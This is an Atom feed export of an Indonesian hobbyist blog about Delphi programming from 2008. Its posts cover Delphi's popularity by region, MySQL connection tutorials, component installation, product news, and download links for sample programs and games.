Cities, jakarta menempati urutan kedua stelah Moscow. Serta berdasarkan Languange, B.Indonesia menempati urutan kedua setelah B. Rusia. Hal ini bisa jadi menunjukkan bahwa Indonesia adalah pengguna delphi terbesar didunia setelah Rusia.&lt;/p&gt;&lt;p align="justify"&gt;Yang terlihat mengejutkan ternyata negara2 maju macam USA, Inggris, Perancis, dan Jepang tidak menempati satupun dari posisi 10 besar itu. Artinya trend dinegara2 tersebut bukan Delphi.&lt;/p&gt;&lt;p align="justify"&gt;Lalu aku sempitkan sekarang pencarian untul lokal aku pingin tahu daerah mana atau propinsi mana yang punya peminat dan pengguna delphi. Dan terlihat ternyata pada Region, Jawatimur memuncaki pengguna/peminat Delphi terbanyak disusul Jawa Tengah, Jogja, Jabar, Bali dan Jakarta. Terus kalo berdasarkan kota terlihat bahwa Malang lah kota dengan peminta Delphi terbesar, disusul surabaya,semarang,yogya, bandung, denpasar,jakarta.&lt;/p&gt;&lt;p align="justify"&gt;Keakuratan dari data ini memang tidak 100% vallid namun data ini tidak main2 karena googlelah yang melakukan riset jadi minimal bisa kita jadikan referensi ternyata Delphi tidak populer dibangsa2 barat / maju macam USA dan Inggris, namun justru berkembang di daerah2 yang "berseberangan dari barat tersebut" atau bangsa timur, macam Rusia,Indonesia,Cina&lt;/p&gt;&lt;p align="justify"&gt;Pengguna Delphi diIndonesiapun ternyata juga sama yaitu daerah "timur" jawatimur lebih banyak penggunanya dibandingkan daerah "barat" jakarta maksudnya. Ini artinya software house yang menggunakan delphi untuk daerah jakarta tidak terlalu banyak, namun untuk daerah jogja, malang dan sekitarnya masih banyak. hehehe udah ya aku capek kesimpulannya terakhirnya Delphi ... terusin sendiri ah&lt;/p&gt;&lt;div align="justify"&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6989619840839298269-141776956418573754?l=hendr13.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hendr13.blogspot.com/feeds/141776956418573754/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6989619840839298269&amp;postID=141776956418573754' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6989619840839298269/posts/default/141776956418573754'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6989619840839298269/posts/default/141776956418573754'/><link rel='alternate' type='text/html' href='http://hendr13.blogspot.com/2008/05/trik-mengetahui-peminat-atau-pengguna.html' title='Trik Mengetahui Peminat atau Pengguna Delphi Melalui Google Trends'/><author><name>hEnDr13_87</name><uri>http://www.blogger.com/profile/14288706012706271271</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://1.bp.blogspot.com/-B0F73tTecmk/TWXeK4iOKOI/AAAAAAAAAV8/u_USzu2NZrw/s220/Baru.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_E7ld_61SOLw/SDesOZz4FDI/AAAAAAAAACw/N5Pd7camBGs/s72-c/viz.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6989619840839298269.post-4865881173836834088</id><published>2008-05-24T11:03:00.003+07:00</published><updated>2008-05-24T15:10:30.859+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Info'/><title type='text'>Tutorial Koneksi Delphi Dengan Database MySQL Server Menggunakan Zeos, MyDAC,MyODBC,dbExpress</title><content type='html'>&lt;div align="justify"&gt;Koneksi Delphi dengan MySQL mungkin bagi beberapa orang terutama pemula adalah hal yang susah, minimal lebih sulit dibandingkan harus membuat koneksi dengan MsAccess dan atau MS SQL Server. Apakah pendapat itu salah oh saya rasa tidak juga.&lt;/div&gt;&lt;div align="justify"&gt;&lt;/div&gt;&lt;br /&gt;&lt;div align="justify"&gt;&lt;/div&gt;&lt;div align="justify"&gt;Untuk melakukan koneksi kita memerlukan komponen tambahan untuk delphi, apakah harus menginstal komponen tambahan? gak harus kok santai aja kamu bisa pakai komponen dbExpress.&lt;/div&gt;&lt;br /&gt;&lt;div align="justify"&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;/div&gt;&lt;div align="justify"&gt;Namun jika nekat(lo kok istilahnya nekat sih) mau instal komponen baru2 itu antara lain MySQLDAC dan ZEOS, pilih satu aja mas tapi untuk pemula gampangnya ya milih yang MYSQLDAC gak ribet instalasinya, tapi kalo yang bagus ya ZEOS cuman instalasinya bikin kamu sebel (bagi yang gak mudeng, hehehehe).&lt;/div&gt;&lt;div align="justify"&gt;&lt;/div&gt;&lt;br /&gt;&lt;div align="justify"&gt;&lt;/div&gt;&lt;div align="justify"&gt;Baiklah sebenarnya saya ingin buat tutorial sendiri yang simple tapi mengena, tapi gak jadi deh berhubung udah banyak rekan2 yang membuatnya makanya aku gak jadi hehehee (bilang aja kalo gak bisa hen!, wah jangan nyindir dong (^-^) ). Sebagai gantinya berikut ini link 2 yang akan membantu kamu melakukan koneksi Delphi dengan database MySQL OK ?&lt;/div&gt;&lt;br /&gt;&lt;div align="justify"&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;/div&gt;&lt;div align="left"&gt;&lt;span style="font-size:85%;"&gt;1. &lt;/span&gt;&lt;a href="http://jokorb.wordpress.com/2008/03/26/koneksi-database-dengan-delphi-mysql/"&gt;&lt;span style="font-size:85%;"&gt;Menggunakan DBExpress&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;div align="left"&gt;&lt;span style="font-size:85%;"&gt;2. &lt;/span&gt;&lt;a href="http://filza.wordpress.com/2007/03/21/akses-mysql-pada-delphi-melalui-zeos/"&gt;&lt;span style="font-size:85%;"&gt;Menggunakan ZEOS&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;div align="left"&gt;&lt;span style="font-size:85%;"&gt;3. &lt;/span&gt;&lt;a href="http://adeisti.blogspot.com/2008/04/koneksi-database-delphi-mysql.html"&gt;&lt;span style="font-size:85%;"&gt;Wejangan dari programmer cewek tentang ZEOS dan MYSQLDAC&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;div align="left"&gt;&lt;span style="font-size:85%;"&gt;4. &lt;/span&gt;&lt;a href="http://mail.uns.ac.id/~arie/delphi/delphi-mysql-ado/Modul1.pdf"&gt;&lt;span style="font-size:85%;"&gt;Menggunakan ADO danMySql ODBC&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;div align="left"&gt;&lt;span style="font-size:85%;"&gt;5. &lt;/span&gt;&lt;a href="http://mail.uns.ac.id/~win/file/delphimysql.pdf"&gt;&lt;span style="font-size:85%;"&gt;Menggunakan ZEOS&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;div align="left"&gt;&lt;/div&gt;&lt;br /&gt;&lt;div align="justify"&gt;Smoga bisa bermanfaat buat semuanyay...&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6989619840839298269-4865881173836834088?l=hendr13.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hendr13.blogspot.com/feeds/4865881173836834088/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6989619840839298269&amp;postID=4865881173836834088' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6989619840839298269/posts/default/4865881173836834088'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6989619840839298269/posts/default/4865881173836834088'/><link rel='alternate' type='text/html' href='http://hendr13.blogspot.com/2008/05/tutorial-koneksi-delphi-dengan-database.html' title='Tutorial Koneksi Delphi Dengan Database MySQL Server Menggunakan Zeos, MyDAC,MyODBC,dbExpress'/><author><name>hEnDr13_87</name><uri>http://www.blogger.com/profile/14288706012706271271</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://1.bp.blogspot.com/-B0F73tTecmk/TWXeK4iOKOI/AAAAAAAAAV8/u_USzu2NZrw/s220/Baru.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6989619840839298269.post-5598463024481665293</id><published>2008-05-24T10:54:00.002+07:00</published><updated>2008-05-24T15:11:41.909+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Info'/><title type='text'>Download Delphi Gratis</title><content type='html'>&lt;div align="justify"&gt;Informasi ini mengkin sudah agak lama, tapi bagi anda yang ingin belajar pemrograman Delphi, saat ini ada edisi delphi yang diberikan secara gratis dan anda bebas menggunakannya untuk aplikasi apa saja, termasuk komersial. Versi ini disebut dengan Turbo Explorer ( merupakan edisi Delphi 2006 ). Selain Delphi ada juga Turbo C++, TurboDElphi for .NET dan Turbo C#. Fasilitas yang disediakan cukup lumayan untuk membuat aplikasi termasuk database. Selengkapnya silahkan dilihat web site &lt;a href="http://www.turboexplorer.com/"&gt;turboexplorer&lt;/a&gt; &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6989619840839298269-5598463024481665293?l=hendr13.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hendr13.blogspot.com/feeds/5598463024481665293/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6989619840839298269&amp;postID=5598463024481665293' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6989619840839298269/posts/default/5598463024481665293'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6989619840839298269/posts/default/5598463024481665293'/><link rel='alternate' type='text/html' href='http://hendr13.blogspot.com/2008/05/download-delphi-gratis.html' title='Download Delphi Gratis'/><author><name>hEnDr13_87</name><uri>http://www.blogger.com/profile/14288706012706271271</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://1.bp.blogspot.com/-B0F73tTecmk/TWXeK4iOKOI/AAAAAAAAAV8/u_USzu2NZrw/s220/Baru.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6989619840839298269.post-5708113264868826053</id><published>2008-05-10T09:43:00.002+07:00</published><updated>2008-05-24T15:12:29.506+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Info'/><title type='text'>Delphi 2007 and C++Builder 2007 update #2 is now available</title><content type='html'>Codegear telah merilis update #2 untuk Delphi 2007 dan C++ Builder 2007. Update tersebut telah siap didownload untuk para registered user di websitenya.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.codegear.com/downloads/regusers/delphi"&gt;http://www.codegear.com/downloads/regusers/delphi&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.codegear.com/downloads/regusers/cppbuilder."&gt;http://www.codegear.com/downloads/regusers/cppbuilder.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Petunjuk singkat untuk melakukan update bisa dilihat di sini:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://blogs.codegear.com/davidi/archive/2007/08/09/38067.aspx"&gt;http://blogs.codegear.com/davidi/archive/2007/08/09/38067.aspx&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6989619840839298269-5708113264868826053?l=hendr13.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hendr13.blogspot.com/feeds/5708113264868826053/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6989619840839298269&amp;postID=5708113264868826053' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6989619840839298269/posts/default/5708113264868826053'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6989619840839298269/posts/default/5708113264868826053'/><link rel='alternate' type='text/html' href='http://hendr13.blogspot.com/2008/05/delphi-2007-and-cbuilder-2007-update-2_10.html' title='Delphi 2007 and C++Builder 2007 update #2 is now available'/><author><name>hEnDr13_87</name><uri>http://www.blogger.com/profile/14288706012706271271</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://1.bp.blogspot.com/-B0F73tTecmk/TWXeK4iOKOI/AAAAAAAAAV8/u_USzu2NZrw/s220/Baru.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6989619840839298269.post-748928347067185142</id><published>2008-05-10T09:35:00.001+07:00</published><updated>2008-05-24T15:13:01.140+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Info'/><title type='text'>Delphi 2007 for Win32</title><content type='html'>Codegear from Borland mengumumkan bahwa Delphi 2007 for Win32 telah tersedia. Edisi Delphi terbaru ini mendukung pengembangan aplikasi untuk Microsoft Windows Vista dan AJAX.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://codegear.com/AboutUs/News/DelphiForWin32NowAvailable/tabid/249/Default.aspx"&gt;http://codegear.com/AboutUs/News/DelphiForWin32NowAvailable/tabid/249/Default.aspx&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Delphi 2007 for Win32 tersedia dalam bahasa Inggris, Jerman, Jepang dan Prancis dan dilepas dengan harga $899 untuk versi Professional, dan $1999 untuk versi Enterprise.&lt;br /&gt;&lt;br /&gt;Informasi lengkapnya bisa dilihat di situs resmi Codegear.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.codegear.com/products/delphiwin32"&gt;http://www.codegear.com/products/delphiwin32&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6989619840839298269-748928347067185142?l=hendr13.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hendr13.blogspot.com/feeds/748928347067185142/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6989619840839298269&amp;postID=748928347067185142' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6989619840839298269/posts/default/748928347067185142'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6989619840839298269/posts/default/748928347067185142'/><link rel='alternate' type='text/html' href='http://hendr13.blogspot.com/2008/05/delphi-2007-for-win32.html' title='Delphi 2007 for Win32'/><author><name>hEnDr13_87</name><uri>http://www.blogger.com/profile/14288706012706271271</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://1.bp.blogspot.com/-B0F73tTecmk/TWXeK4iOKOI/AAAAAAAAAV8/u_USzu2NZrw/s220/Baru.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6989619840839298269.post-7817845086031945422</id><published>2008-05-10T09:31:00.002+07:00</published><updated>2008-05-24T15:14:44.571+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Info'/><title type='text'>Delphi 2007 and C++Builder 2007 update #2 is now available</title><content type='html'>Codegear telah merilis update #2 untuk Delphi 2007 dan C++ Builder 2007. Update tersebut telah siap didownload untuk para registered user di websitenya.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.codegear.com/downloads/regusers/delphi"&gt;http://www.codegear.com/downloads/regusers/delphi&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.codegear.com/downloads/regusers/cppbuilder."&gt;http://www.codegear.com/downloads/regusers/cppbuilder.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Petunjuk singkat untuk melakukan update bisa dilihat di sini:&lt;br /&gt;&lt;a href="http://blogs.codegear.com/davidi/archive/2007/08/09/38067.aspx"&gt;http://blogs.codegear.com/davidi/archive/2007/08/09/38067.aspx&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6989619840839298269-7817845086031945422?l=hendr13.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hendr13.blogspot.com/feeds/7817845086031945422/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6989619840839298269&amp;postID=7817845086031945422' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6989619840839298269/posts/default/7817845086031945422'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6989619840839298269/posts/default/7817845086031945422'/><link rel='alternate' type='text/html' href='http://hendr13.blogspot.com/2008/05/delphi-2007-and-cbuilder-2007-update-2.html' title='Delphi 2007 and C++Builder 2007 update #2 is now available'/><author><name>hEnDr13_87</name><uri>http://www.blogger.com/profile/14288706012706271271</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://1.bp.blogspot.com/-B0F73tTecmk/TWXeK4iOKOI/AAAAAAAAAV8/u_USzu2NZrw/s220/Baru.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6989619840839298269.post-6757882424998563167</id><published>2008-05-10T08:16:00.001+07:00</published><updated>2008-05-24T15:15:41.429+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tips n Tricks'/><title type='text'>Cara Instal Komponen Delphi</title><content type='html'>&lt;div align="justify"&gt;Artikel ini dihadirkan bukan untuk menggurui atau apapun. Ini hanya sekedar sharing ilmu yang ada. barangkali ada yang belum tau dan malu menanyakannya. Ada beberapa cara yang dapat digunakan. Saya contohkan untuk komponen yang sudah dipaket (Biar gampang, hehehehe…)&lt;br /&gt;&lt;br /&gt;Caranya masuk ke program Delphi yang anda gunakan. Kemudian Klik File &gt; Open File. Pada File of Type pilih yang berekstensi *.dpk. Buka aja itu file. Kemudian klik compile dan install. Ketika selesai proses akan ada tampilan bahwa komponen berhasil di-install.&lt;br /&gt;&lt;br /&gt;Kemudian jangan lupa untuk menambahkan letak file komponen yang baru anda tambahkan barusan ke library delphi dengan cara klik Tools &gt; Environtment Options &gt; Library &gt; Library Path. (agak lupa sie…. Tambahkan path directory komponen yang baru anda tambahkan ke daftar tersebut.&lt;br /&gt;&lt;br /&gt;Saran saya, sebelum install komponen pindahkan dulu file anda di directory tempat Anda meng-install delphi\source. Misalnya C:\Program Files\Borland\Delphi 5.0\source\namakomponen&lt;br /&gt;&lt;br /&gt;Sekian semoga bermanfaat dan tidak bingung… &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6989619840839298269-6757882424998563167?l=hendr13.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hendr13.blogspot.com/feeds/6757882424998563167/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6989619840839298269&amp;postID=6757882424998563167' title='1 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6989619840839298269/posts/default/6757882424998563167'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6989619840839298269/posts/default/6757882424998563167'/><link rel='alternate' type='text/html' href='http://hendr13.blogspot.com/2008/05/cara-instal-komponen-delphi.html' title='Cara Instal Komponen Delphi'/><author><name>hEnDr13_87</name><uri>http://www.blogger.com/profile/14288706012706271271</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://1.bp.blogspot.com/-B0F73tTecmk/TWXeK4iOKOI/AAAAAAAAAV8/u_USzu2NZrw/s220/Baru.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6989619840839298269.post-111584566191758714</id><published>2008-05-03T13:41:00.002+07:00</published><updated>2008-05-24T15:17:55.765+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Open Sorce'/><title type='text'>Form Warna</title><content type='html'>&lt;div align="justify"&gt;Allow semuanya, aku bru dapet program baru lagi nc.. Form yang selama ini kita pake' kan cuma warna-warna standar aja, ga ada tuch yang ampe true color 32 bit. Nah aku bru aj dpet program yang bisa untuk ganti warana pada form secara otomatis, tapi udh pake true color loe.. bukan masih pakek warana standar lagi.. Bagi temen-temen yang berminat download aj nc &lt;a href="http://rapidshare.com/files/112163302/ebskin_1.0.zip.html"&gt;disini&lt;/a&gt;.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6989619840839298269-111584566191758714?l=hendr13.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hendr13.blogspot.com/feeds/111584566191758714/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6989619840839298269&amp;postID=111584566191758714' title='1 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6989619840839298269/posts/default/111584566191758714'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6989619840839298269/posts/default/111584566191758714'/><link rel='alternate' type='text/html' href='http://hendr13.blogspot.com/2008/05/form-warna.html' title='Form Warna'/><author><name>hEnDr13_87</name><uri>http://www.blogger.com/profile/14288706012706271271</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://1.bp.blogspot.com/-B0F73tTecmk/TWXeK4iOKOI/AAAAAAAAAV8/u_USzu2NZrw/s220/Baru.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6989619840839298269.post-4337199838623056140</id><published>2008-04-26T12:46:00.001+07:00</published><updated>2008-05-24T15:21:01.980+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Open Sorce'/><title type='text'>Bel Sekolah</title><content type='html'>&lt;div align="justify"&gt;Mungkin selama ini kita hanya mendengarkan bel sekolah melalui lonceng aj.. (Jadul bgt y...??) Nah berhubung sekarang udah jamannya komputer jadi mendingan pakek aj dc bel yang satu ini, dijamin keren... Apalagi bagi tmen-tmen yang hobi otak-atik program yo wesss...saya persilahkan.&lt;/div&gt;&lt;div align="justify"&gt;Tapi,, ada tapinya nc.. Program ini udah dalam bentuk file instalasi, jadi di instal dulu ya....&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div align="justify"&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;a href="http://rapidshare.com/files/110471095/Bel_Sekolah_1.0.exe.html"&gt;Bel_Sekolah_1.0&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6989619840839298269-4337199838623056140?l=hendr13.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hendr13.blogspot.com/feeds/4337199838623056140/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6989619840839298269&amp;postID=4337199838623056140' title='1 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6989619840839298269/posts/default/4337199838623056140'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6989619840839298269/posts/default/4337199838623056140'/><link rel='alternate' type='text/html' href='http://hendr13.blogspot.com/2008/04/bel-sekolah.html' title='Bel Sekolah'/><author><name>hEnDr13_87</name><uri>http://www.blogger.com/profile/14288706012706271271</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://1.bp.blogspot.com/-B0F73tTecmk/TWXeK4iOKOI/AAAAAAAAAV8/u_USzu2NZrw/s220/Baru.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6989619840839298269.post-5664759565895739358</id><published>2008-04-26T09:53:00.001+07:00</published><updated>2008-05-24T15:22:31.179+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Open Sorce'/><title type='text'>e2n_Player</title><content type='html'>&lt;div align="justify"&gt;e2n_Player adalah software aplikasi untuk memainkan musik dengan berbagai format. e2n_Player dibuat dengan menggunakan delphi, jadi bagi temen-temen yang berminat untuk mengotak-atik program ini silahkan download &lt;a href="http://rapidshare.com/files/110469247/setup.exe.html"&gt;disini&lt;/a&gt;, trus klo keygen-nya &lt;a href="http://rapidshare.com/files/110469248/KeyGen.exe.html"&gt;disini&lt;/a&gt;.&lt;/div&gt;&lt;br /&gt;&lt;div align="justify"&gt;&lt;/div&gt;&lt;br /&gt;&lt;div align="justify"&gt;Sebagai tambahan, e2n_player udah saya buatkan dalam bentuk file instalasi jadi apabila aplikasi sudah didownload, silahkan diinstal dulu pada pc anda. Source code nya ada pada direktori tempat anda melakukan proses instalasi.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6989619840839298269-5664759565895739358?l=hendr13.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hendr13.blogspot.com/feeds/5664759565895739358/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6989619840839298269&amp;postID=5664759565895739358' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6989619840839298269/posts/default/5664759565895739358'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6989619840839298269/posts/default/5664759565895739358'/><link rel='alternate' type='text/html' href='http://hendr13.blogspot.com/2008/04/e2nplayer.html' title='e2n_Player'/><author><name>hEnDr13_87</name><uri>http://www.blogger.com/profile/14288706012706271271</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='21' src='http://1.bp.blogspot.com/-B0F73tTecmk/TWXeK4iOKOI/AAAAAAAAAV8/u_USzu2NZrw/s220/Baru.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6989619840839298269.post-1712647191449604580</id><published>2008-04-19T15:59:00.001+07:00</published><updated>2008-05-03T13:49:19.130+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Open Sorce'/><title type='text'>Game Delphi</title><content type='html'>&lt;div align="justify"&gt;&lt;br /&gt;Dalam kategori ini akan diberikan kepada anda contoh game yang dibuat dengan menggunakan bahasa pemrograman Delphi. Diharapkan contoh-contoh ini nantinya dapat memberikan anda tantangan untuk membuat game-game lain yang lebih kreatif dan bisa dijadikan ajang untuk mengembangkan potensi diri.&lt;br /&gt;&lt;br /&gt;Meskipun tidak semua contoh game yang diberikan saya buat sendiri, saya ingin memberikan alamat-alamat yang mungkin bisa anda download dan anda pelajari sendiri dirumah. Untuk menjaga agar suatu saat nanti alamat tersebut hilang atau sudah tidak aktif lagi, maka saya sediakan tempat penyimpanan cadangan juga. Dengan demikian, maka source code-source code tersebut masih terjaga dengan aman.&lt;br /&gt;&lt;br /&gt;Game-game yang diberikan sangatlah bervariasi dan tentu saja sangat menarik untuk dipelajari pola pikirnya. Dengan mengetahui teknik dan logika yang ada didalam kode program tersebut, maka Delphier diharapkan bisa mempelajarinya dengan baik agar mendapatkan ilmu yang sangat bermanfaat.&lt;br /&gt;&lt;br /&gt;Dengan rasa percaya diri yang tinggi, silahkan anda oprek-oprek contoh kode program tersebut guna meningkatkan daya pikir anda untuk lebih tanggap dan kreatif.&lt;br /&gt;&lt;br /&gt;Agar mudah untuk dipelajari dengan baik, maka game-game tersebut diklasifikan kedalam beberapa kategori tertentu. Hal ini ditujukan agar para Delphier bisa belajar dengan lebih terarah tanpa mengikuti nafsu yang berlebihan.&lt;br /&gt;&lt;br /&gt;Masukan, kritikan, saran, harapan serta pujian akan selalu dinantikan untuk membuat blog ini menjadi blog yang lebih baik dan bisa berguna bagi nusa dan bangsa.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Kategori permainan Logika&lt;br /&gt;&lt;div align="justify"&gt;&lt;a href="http://rapidshare.de/files/39164054/tetris.zip.html"&gt;Tetris&lt;/a&gt; &lt;/div&gt;&lt;div align="justify"&gt;&lt;a href="http://rapidshare.com/files/110469685/minesweeper_src.zip.html"&gt;minesweeper_src&lt;/a&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;a href="http://rapidshare.com/files/110469825/solitaire.zip.html"&gt;solitaire&lt;/a&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;a href="http://rapidshare.com/files/110470087/classieux.zip.html"&gt;classieux&lt;/a&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;a href="http://rapidshare.com/files/110470166/boggle.zip.html"&gt;boggle&lt;/a&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;br /&gt;Kategori Strategi&lt;/div&gt;&lt;div align="justify"&gt;&lt;a href="http://rapidshare.com/files/110470455/n_Puzzle.zip.html"&gt;Puzzle&lt;/a&gt;&lt;/div&gt;&lt;div align="justify"&gt;&lt;a href="http://rapidshare.com/files/110471498/__Tic_Tac_175239612004.zip.html"&gt;Tic_Tac&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6989619840839298269-1712647191449604580?l=hendr13.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' 